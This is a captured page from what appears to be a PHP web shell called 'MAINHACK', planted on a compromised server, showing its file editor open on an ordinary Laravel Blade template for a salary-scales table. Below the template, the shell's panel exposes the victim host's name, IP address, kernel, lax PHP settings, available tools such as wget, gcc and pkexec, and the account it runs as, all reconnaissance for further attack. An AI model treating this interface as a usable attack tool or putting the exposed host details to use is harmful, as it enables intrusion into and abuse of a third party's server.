[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: list.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header d-sm-flex align-items-center justify-content-between"> <span class="panel-title">{{ _lang('Salary Scales') }}</span> <div class="d-sm-flex align-items-center mt-2 mt-sm-0"> <div class="dropdown"> <a class="btn btn-outline-primary btn-xs dropdown-toggle" href="#" role="button" data-toggle="dropdown" aria-expanded="false"> {{ $department_id == '' ? _lang('All Department') : $departments->find($department_id)->name }} </a> <div class="dropdown-menu"> <a class="dropdown-item {{ $department_id == '' ? 'active' : '' }}" href="{{ route('salary_scales.index') }}">{{ _lang('All Department') }}</a> @foreach($departments as $department) <a class="dropdown-item {{ $department_id == $department->id ? 'active' : '' }}" href="{{ route('salary_scales.filter_by_department', $department->id) }}">{{ $department->name }}</a> @endforeach </div> </div> <a class="btn btn-primary btn-xs ml-0 ml-sm-1" href="{{ route('salary_scales.create') }}"><i class="ti-plus"></i> {{ _lang('Add New') }}</a> </div> </div> <div class="card-body"> <table id="salary_scales_table" class="table data-table"> <thead> <tr> <th>{{ _lang('Department') }}</th> <th>{{ _lang('Designation') }}</th> <th>{{ _lang('Grade') }}</th> <th>{{ _lang('Basic Salary') }}</th> <th class="text-center">{{ _lang('Action') }}</th> </tr> </thead> <tbody> @foreach($salaryscales as $salaryscale) <tr data-id="row_{{ $salaryscale->id }}"> <td class='department_id'>{{ $salaryscale->department->name }}</td> <td class='designation_id'>{{ $salaryscale->designation->name }}</td> <td class='grade_number'>{{ _lang('Grade').' '.$salaryscale->grade_number }}</td> <td class='basic_salary'>{{ formatAmount($salaryscale->basic_salary, currency_symbol(request()->activeBusiness->currency)) }}</td> <td class="text-center"> <span class="dropdown"> <button class="btn btn-outline-primary dropdown-toggle btn-xs" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> {{ _lang('Action') }} </button> <form action="{{ route('salary_scales.destroy', $salaryscale['id']) }}" method="post"> {{ csrf_field() }} <input name="_method" type="hidden" value="DELETE"> <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> <a href="{{ route('salary_scales.edit', $salaryscale['id']) }}" class="dropdown-item dropdown-edit dropdown-edit"><i class="fas fa-pencil-alt"></i> {{ _lang('Edit') }}</a> <a href="{{ route('salary_scales.show', $salaryscale['id']) }}" class="dropdown-item dropdown-view dropdown-view"><i class="fas fa-eye"></i> {{ _lang('View') }}</a> <button class="btn-remove dropdown-item" type="submit"><i class="fas fa-trash-alt"></i> {{ _lang('Delete') }}</button> </div> </form> </span> </td> </tr> @endforeach </tbody> </table> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002